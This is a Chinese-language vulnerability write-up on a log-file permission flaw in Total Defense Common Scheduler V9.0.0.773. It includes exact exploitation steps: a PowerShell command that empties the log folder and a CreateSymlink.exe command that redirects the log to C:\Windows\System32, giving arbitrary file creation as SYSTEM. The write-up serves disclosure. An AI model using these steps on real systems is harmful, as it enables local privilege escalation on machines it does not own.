ang010ela 漏洞 2019年9月10日发布
收藏
概述
Total Defense Common Scheduler服务默认情况下会在C:\ProgramData\TotalDefense\Consumer\ISS\9\ccschedulersvc中创建日志文件。只有Total Defense的特权进程(SYSTEM)才可以创建、访问和操作该文件。日志和文件夹有访问特权可以允许非特权用户添加或删除文件,并修改一些特征。
受影响的版本是V9.0.0.773,研究人员称其他版本和产品也可能受到影响,但未进行验证和测试。
漏洞分析
日志文件是由SYSTEM进程创建的,但是每个组都有写权限。通过滥用日志文件创建可以实现任意文件创建,即非特权用户可以通过到任意文件的伪随机符号链接来替换这些日志文件。在日志文件生成时,特权Total Defense (Scheduler Service)进程可以创建日志文件,设置访问权限,提供给Everyone组的写权限。
为了实现任意创建文件,非特权用户可以:
· 删除C:\ProgramData\TotalDefense\Consumer\ISS\9\ccschedulersvc中的所有文件
· 创建指向C:\Windows\System32\test.dll的名为C:\ProgramData\TotalDefense\Consumer\ISS\9\ccschedulersvc\ccschedulersvc.log的伪随机符号链接
· 重启scheduler服务或等待计算机重启。一旦重启,就在C:\Windows\System32文件夹中创建任意文件
漏洞利用
删除以下文件夹的所有文件:
Remove-Item -Force "C:\ProgramData\TotalDefense\Consumer\ISS\9\ccschedulersvc\*"
用CreateSymlink工具创建符号链接:
CreateSymlink.exe "C:\ProgramData\TotalDefense\Consumer\ISS\9\ccschedulersvc\ccschedulersvc.log" C:\Windows\System32\test.dll
重启计算机或服务Total Defense Common Scheduler Service来使文件创建生效。
成功利用如下所示:
文件夹C:\WINDOWS\SYSTEM32的任意文件创建: